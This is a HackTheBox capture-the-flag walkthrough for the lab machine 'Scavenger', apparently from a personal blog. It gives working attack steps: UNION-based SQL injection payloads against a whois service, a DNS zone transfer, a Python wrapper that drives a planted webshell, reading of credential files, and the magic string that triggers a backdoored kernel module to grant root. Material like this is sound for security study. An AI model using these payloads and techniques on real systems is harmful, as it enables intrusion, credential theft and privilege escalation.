Menu

Scavenger

Focus on the good stuff!

Scavenger is a hard difficulty machine and the first I have attempted on HackTheBox. It tests your knowledge in basic enumeration, SQL injection, more enumeration, DNS service exploitation, uhuh more enumeration, yet more enumeration, even more enumeration, basic reverse engineering/debugging.

Be sure to checkout the Basic Setup section before you get started.

Enumeration

Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.

Portscan

portscan scavenger.htb Grabbing ports... Ports grabbed! Scanning... Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-07 23:18 PST Nmap scan report for scavenger.htb ( 10.10.10.155 ) Host is up ( 0.23s latency ) . PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 ( protocol 2.0 ) | ssh-hostkey: | 2048 df :94:47:03:09:ed:8c:f7:b6:91:c5:08:b5:20:e5:bc ( RSA ) | 256 e3:05:c1:c5:d1:9c:3f:91:0f:c0:35:4b:44:7f:21:9e ( ECDSA ) |_ 256 45:92:c0:a1:d9:5d:20:d6:eb:49:db:12:a5:70:b7:31 ( ED25519 ) 25/tcp open smtp Exim smtpd 4.89 | smtp-commands: ib01.supersechosting.htb Hello scavenger.htb [ 10.10.14.40], SIZE 52428800, 8BITMIME, PIPELINING, PRDR, HELP, |_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 43/tcp open whois? | fingerprint-strings: | GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest: | % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 | more information on SUPERSECHOSTING, visit http://www.supersechosting.htb | This query returned 0 object | SSLSessionReq, TLSSessionReq, TerminalServerCookie: | % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 | more information on SUPERSECHOSTING, visit http://www.supersechosting.htb |_ 1267 ( HY000 ) : Illegal mix of collations ( utf8mb4_general_ci,IMPLICIT ) and ( utf8_general_ci,COERCIBLE ) for operation 'like' 53/tcp open domain ISC BIND 9.10.3-P4 ( Debian Linux ) | dns-nsid: |_ bind.version: 9.10.3-P4-Debian 80/tcp open http Apache httpd 2.4.25 (( Debian )) |_http-server-header: Apache/2.4.25 ( Debian ) |_http-title: Site doesnt have a title ( text/html ) . Service Info: Host: ib01.supersechosting.htb ; OSs: Unix, Linux ; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address ( 1 host up ) scanned in 124.07 seconds

Domains

Navigating to port 80 show us the page:

As we can see from the nmap scan the whois service on port 43 gives us the vhost http://www.supersechosting.htb .

Adding this to our /etc/hosts reveals the page:

This page gives us some extra info and tells us that a LAMP stack is preinstalled with SSH and FTP access.

From the information we gather from the page as well as our nmap scan we have all versions for the stack:

Linux - Debian 10 (Buster)

Apache - 2.4.25

MySQL - MariaDB10.1.37

PHP - 7

Along with OpenSSH 7.4p1 and vsftpd 3.0.3 .

We also see a couple more domains listed for the DNS server dns.supersechosting.htb and WHOIS server whois.supersechosting.htb . Let’s add those to our /etc/hosts incase we need them.

Since this is a hosting service and also self proclaimed First authorized registrar for new .htb top level domain we can assume there may be some other sites laying about.

Considering we know that the whois service is running MariaDB and we can see it is potentially suscpeptible to SQL Injection from the output 1267 (HY000): Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like' we will start with this service.

WHOIS Service

Using the whois command we can cause MariaDB to error out confirming SQL Injection:

whois -h scavenger.htb -p 43 -H "'" % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb 1064 ( 42000 ) : You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' ) limit 1 ' at line 1

We can see here from the error output that the query contains a parantheses ) .

Admittedley I tried to use a 1=1 query but I must have used the -H flag which hides the legal disclaimers but also filters the extra output. However, a fellow HTB user kindly informed me that it does in fact work without that flag.

So using the following command we can dump extra domain entries from the database:

whois -h scavenger.htb -p 43 "') or 1=1 -- -"

To be honest I am quite happy I missed this because I learnt a lot going the long winded way as follows.

With the error information we can start mapping our structure with union :

whois -h scavenger.htb -p 43 -H "') union all select null -- -" % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb 1222 ( 21000 ) : The used SELECT statements have a different number of columns

The outputted error tells us that there is more than one column.

We keep adding null to map out our entry point:

whois -h scavenger.htb -p 43 -H "') union all select null,null -- -"

Adding two null inputs gives us no output at all. Adding three causes another error. So two it is!

Now we test to see which position is vulnerable:

whois -h scavenger.htb -p 43 -H "') union all select 1,null -- -" % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb % This query returned 1 object 1

As we can see the query has returned our input so we know that this entry is vulnerable. Testing the other position returns no output so it is not vulnerable.

With this information we can now try to dump some information:

whois -h scavenger.htb -p 43 -H "') UNION ALL SELECT group_concat(table_schema),null from information_schema.tables where table_schema=database() -- -" % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb % This query returned 1 object whois

Our query reveals a database called whois .

Now let’s see if we can find some tables:

whois -h scavenger.htb -p 43 -H "') UNION ALL SELECT group_concat(table_name),null from information_schema.tables where table_schema=database() -- -" % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb % This query returned 1 object customers

Within this output we find a table called customers .

We will also list the columns:

whois -h scavenger.htb -p 43 -H "') UNION SELECT group_concat(column_name),null from information_schema.columns where table_schema=database() -- -" % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb % This query returned 1 object id ,domain,data

Looks like we have three columns. The domain column will hopefully point us to some other domains to enumerate!

Finally, with the inforamtion we have gathered let’s dump the data:

whois -h scavenger.htb -p 43 -H "') UNION SELECT group_concat(domain),null from customers -- -" % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37 % for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb % This query returned 1 object supersechosting.htb,justanotherblog.htb,pwnhats.htb,rentahacker.htb

Nice! We find a bunch of domains.

Let’s add these to our /etc/hosts . We find that we need to include www like we did for supersechosting.htb .

In doing so we can now go check them out!

More Domains

Taking a look we see that justanotherblog.htb is under construction:

The domain pwnhats.htb is a PrestaShop store:

And rentahacker.htb is a Wordpress site:

From a quick glance at exploits relating to these Prestashop and Wordpress the most recents require Admin access. So we may be looking for creds.

Taking a closer look at rentahacker.htb we notice a few comments on the post http://www.rentahacker.htb/2018/12/10/rent-a-hacker/ :

The comment by 31173 HAXXOR team hints at a bug tracking webapp that apparently has already been hacked. We may need to enumerate for subdomains.

From this we can probably say that we have also found our theme relating to the box name.

We may have to scavenge for things the previous hacker has left behind!

DNS Service

Since we know that supersechosting.htb offers DNS resolution services as per their website let’s try finding some info through port 53 with the dig command.

We will use the AXFR protocol which is used for DNS zone transfers and will hopefully allow us to dump all information about the given domain:

dig axfr rentahacker.htb @scavenger.htb ; << >> DiG 9.11.5-P4-5.1+b1-Debian << >> axfr rentahacker.htb @scavenger.htb ;; global options: +cmd rentahacker.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800 rentahacker.htb. 604800 IN NS ns1.supersechosting.htb. rentahacker.htb. 604800 IN MX 10 mail1.rentahacker.htb. rentahacker.htb. 604800 IN A 10.10.10.155 mail1.rentahacker.htb. 604800 IN A 10.10.10.155 sec03.rentahacker.htb. 604800 IN A 10.10.10.155 www.rentahacker.htb. 604800 IN A 10.10.10.155 rentahacker.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800 ;; Query time : 427 msec ;; SERVER: 10.10.10.155#53 ( 10.10.10.155 ) ;; WHEN: Wed Feb 12 04:47:24 PST 2020 ;; XFR size: 8 records ( messages 1, bytes 251 )

We see that we reveal the subdomain sec03.rentahacker.htb .

Let’s add that to our /etc/hosts (the list is getting long now) and see what we can find:

So we have found the site that 31173 HAXXOR team said they hacked. They mentioned it was a bugtracking webapp.

Knowing that the webapp is potentially written in PHP navigating to index.php redirects to the Mantis Bug Tracker login page at http://sec03.rentahacker.htb/login_page.php :

At the login page we see the message: Warning: You should disable the default 'administrator' account or change its password. This tells us that the default credentials may not have been changed!

Trying the default login administrator:root we get access:

Taking a look around we don’t find anything interesting and checking the exploits available for the version reveals no vulnerabilities.

While we look around a bit more let’s setup Burp Suite’s intruder and enumerate for directories as well as filenames:

And from the payloads tab we can load our wordlist. We will use big.txt .

Our results reveal a file called shell.php :

Alternativley we can use wfuzz :

wfuzz -w /usr/share/wordlists/dirb/big.txt --sc 200 http://sec03.rentahacker.htb/FUZZ.php ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://sec03.rentahacker.htb/FUZZ.php Total requests: 959 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000231: 200 0 L 0 W 0 Ch "core" 000000498: 200 57 L 339 W 4712 Ch "login" .... SNIP .... .... SNIP .... .... SNIP .... 000000752: 200 0 L 0 W 0 Ch "shell" 000000881: 200 57 L 332 W 4667 Ch "view" Total time : 35.68731 Processed Requests: 959 Filtered Requests: 955 Requests/sec.: 26.87229

Looks like we have a webshell! Trying a few common parameters returns nothing!

Let’s once again setup Burp Suite’s intruder this time looking for the webshells parameter:

And from the payloads tab we can load our wordlist. Once again using big.txt.

Our results reveal the parameter hidden :

Alternatively using wfuzz :

wfuzz -c -w /usr/share/wordlists/dirb/big.txt --filter "w>0" http://sec03.rentahacker.htb/shell.php?FUZZ = ls ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://sec03.rentahacker.htb/shell.php?FUZZ = ls Total requests: 959 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000407: 200 225 L 225 W 4907 Ch "hidden" Total time : 35.92109 Processed Requests: 959 Filtered Requests: 958 Requests/sec.: 26.69740

Finally we have RCE with the user ib01c03 :

curl http://sec03.rentahacker.htb/shell.php?hidden = id uid = 1003 ( ib01c03 ) gid = 1004 ( customers ) groups = 1004 ( customers )

Now that we have access to the Mantis BT and Wordpress files let’s get the database creds to see if there has been password reuse:

curl http://sec03.rentahacker.htb/shell.php?hidden = cat %20/home/ib01c03/www/wp-config.php <?php .... SNIP .... .... SNIP .... .... SNIP .... // ** MySQL settings - You can get this info from your web host ** // / ** The name of the database for WordPress * / define ( 'DB_NAME' , 'ib01c03' ) ; / ** MySQL database username * / define ( 'DB_USER' , 'ib01c03' ) ; / ** MySQL database password * / define ( 'DB_PASSWORD' , 'Thi$....Gut' ) ; .... SNIP .... .... SNIP .... .... SNIP .... require_once ( ABSPATH . 'wp-settings.php' ) ;

Using the database username and password we can access ib01c03 FTP account but we just have the same access.

Since we will be working with the webshell let’s make life a little easier by creating ourselves a limited shell:

#!/usr/bin/python import os import urllib class Shell (): def __init__ ( self , addr = "http://sec03.rentahacker.htb/shell.php?hidden=" ): self . url = addr def run_cmd ( self , cmd ): cmd = urllib . quote_plus ( cmd ) curl = "curl -X GET " result = os . system ( curl + self . url + cmd ) return ( result ) def cmd_prompt ( self ): res = '' while res != 'exit' : res = raw_input ( "$ " ) if res == 'exit' : pass else : self . run_cmd ( res )

Short and nasty but does the job!

Looking in the home directory we find the following:

ipython In [ 1]: import limited_shell In [ 2]: a = limited_shell.Shell () In [ 3]: a.cmd_prompt () $ ls /home ib01c01 ib01c02 ib01c03 ib01ftp ib01www support

Taking a look around we find something in /var/mail .

We find the following email containing some credentials:

cat /var/mail/ib01c03 From support@ib01.supersechosting.htb Mon Dec 10 21:10:56 2018 Return-path: <support@ib01.supersechosting.htb> Envelope-to: ib01c03@ib01.supersechosting.htb Delivery-date: Mon, 10 Dec 2018 21:10:56 +0100 Received: from support by ib01.supersechosting.htb with local ( Exim 4.89 ) ( envelope-from <support@ib01.supersechosting.htb> ) id 1gWRtI-0000ZK-8Q for ib01c03@ib01.supersechosting.htb ; Mon, 10 Dec 2018 21:10:56 +0100 To: <ib01c03@ib01.supersechosting.htb> Subject: Re: Please help ! Site Defaced! In-Reply-To: Your message of Mon, 10 Dec 2018 21:04:49 +0100 <E1gWRnN-0000XA-44@ib01.supersechosting.htb> References: <E1gWRnN-0000XA-44@ib01.supersechosting.htb> X-Mailer: mail ( GNU Mailutils 3.1.1 ) Message-Id: <E1gWRtI-0000ZK-8Q@ib01.supersechosting.htb> From: support <support@ib01.supersechosting.htb> Date: Mon, 10 Dec 2018 21:10:56 +0100 X-IMAPbase: 1544472964 2 Status: O X-UID: 1 >> Please we need your help. Our site has been defaced! >> What we should do now? >> >> rentahacker.htb Hi, we will check when possible. We are working on another incident right now. We just make a backup of the apache logs. Please check if there is any strange file in your web root and upload it to the ftp server: ftp.supersechosting.htb user: ib01ftp pass: Yhg...._Ta Thanks.

Logging in via FTP we find a directory called incident that contains two other directories called ib01c01 and ib01c03 .

We are more interested in moving to another user so we will check out the ib01c01 directory first:

ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -r--rw-r-- 1 1005 1000 10427 Dec 10 2018 ib01c01.access.log -rw-r--r-- 1 1000 1000 835084 Dec 10 2018 ib01c01_incident.pcap -r--rw-r-- 1 1005 1000 173 Dec 11 2018 notes.txt

Let’s download the files with the get command and see what we have got. The pcap will be our main area of focus!

From our enumeration of apache configuration files we know that the ib01c01 user runs the http://www.pwnhats.htb website. Also as per our enumeration we know that website is running PrestaShop. We will be looking for the administration backend.

Opening up the pcap file in Wireshark we set the filter http.request.method == POST and quickly see our target location.

We right click and slect Follow and then TCP Stream :

We then see our POST request with the email and password :

We can confirm the credentials at http://www.pwnhats.htb/admin530o6uisg and logging in with the details.

During enumeration of the filter http.request.method == GET in WireShark we also see something of interest referencing root.c :

Taking a look at the TCP Stream of these items we see a Makefile which looks like it is to do with Kernel modules and the root.c files that contains C code for what seems to be performing privilege escalation:

Straight off the mark there is a line that seems quite distinct MODULE_DESCRIPTION("Got r00t!."); . A quick search online reveals a forum post detailing the privilege escalation.

We see that a device is created called /dev/ttyR0 and the permissions 666 is set. A check on the machine reveals that we in fact have that device with those permissions:

ls -l /dev/ttyR0 crw-rw-rw- 1 root dialout 248, 0 Feb 18 10:54 /dev/ttyR0

To execute the privilege escalation the attacker does a simple command but it does not seem to work:

echo "g0tR0ot" > /dev/ttyR0 && id

Taking a look into the code g0tR0ot is meant to be a “magic” string that is a backdoor. Obviously this magic string has been changed hence why it does not work.

Further reading shows that root.c compiles to root.ko a Kernel module that is loaded with insmod .

A quick search of the system does not show a file with that name so we can safely assume it is most likely within ib01c01 ’s home directory.

User

Although we know that the version of PrestaShop installed is vulnerable we will check if there has been a case of password reuse with user ib01c01 :

ftp 10.10.10.155 Connected to 10.10.10.155. 220 ( vsFTPd 3.0.3 ) Name ( 10.10.10.155:root ) : ib01c01 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwx------ 5 1001 1004 4096 Feb 19 08:54 . drwxr-xr-x 8 0 0 4096 Dec 07 2018 .. drwxr-xr-x 2 1001 1004 4096 Feb 02 2019 ... -rw------- 1 0 0 0 Dec 11 2018 .bash_history drwx------ 2 1001 1004 4096 Feb 19 08:46 .ssh -rw------- 1 1001 1004 32 Jan 30 2019 access.txt -rw-r--r-- 1 1001 1004 68175351 Dec 07 2018 prestashop_1.7.4.4.zip -rw-r--r-- 1 1001 1004 469773 Feb 19 08:54 search.txt -rw-r----- 1 0 1004 33 Dec 07 2018 user.txt drwxr-xr-x 27 1001 1004 4096 Feb 19 09:05 www 226 Directory send OK. ftp> get user.txt - remote: user.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for user.txt ( 33 bytes ) . 6f8a8a832e....903dcc804d 226 Transfer complete. 33 bytes received in 0.00 secs ( 93.4103 kB/s )

We find that we have FTP access and grab the user.txt flag! Now on to root .

Root

In the above FTP directory listing we notice a folder somewhat “disguised” with the name ...

Moving in to the directory we find our file:

ftp> cd ... 250 Directory successfully changed. ftp> ls -la 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 1001 1004 4096 Feb 02 2019 . drwx------ 5 1001 1004 4096 Feb 19 08:54 .. -rw-r--r-- 1 0 0 399400 Feb 02 2019 root.ko 226 Directory send OK.

We can download it and investigate further.

Looking again at the code for root.c we know that we are interested in the root_write() function where the magic string is declared:

root_write ( struct file * f , const char __user * buf , size_t len , loff_t * off ) { char * data ; char magic [] = "g0tR0ot" ; struct cred * new_cred ; data = ( char * ) kmalloc ( len + 1 , GFP_KERNEL ); if ( data ) { copy_from_user ( data , buf , len ); if ( memcmp ( data , magic , 7 ) == 0 ) { if (( new_cred = prepare_creds ()) == NULL ) { return 0 ; } V ( new_cred -> uid ) = V ( new_cred -> gid ) = 0 ; V ( new_cred -> euid ) = V ( new_cred -> egid ) = 0 ; V ( new_cred -> suid ) = V ( new_cred -> sgid ) = 0 ; V ( new_cred -> fsuid ) = V ( new_cred -> fsgid ) = 0 ; commit_creds ( new_cred ); } kfree ( data ); } return len ; }

Taking a look at root.ko in IDA we can take a look at the function and the pseudocode for it:

We see three strings:

strcpy ( a, "g3t" ) ; strcpy ( b, "Pr1v" ) ; strcpy ( magic, "g0tR0ot" ) ;

Since we know that the two strings g3t and Pr1v are not in the original code we can safely assume that these two strings are concatenated together to make the “magic” string. Looking further down the pseudocode we see that this is the case.

Let’s go try it out back at our limited shell for ib01c03 :

echo "g3tPr1v" > /dev/ttyR0 && id uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ) ,1004 ( customers )

Sure enough we can execute commands as root !

Now to take the flag:

echo "g3tPr1v" > /dev/ttyR0 && cat /root/root.txt 4a08d8174e....db9a732b17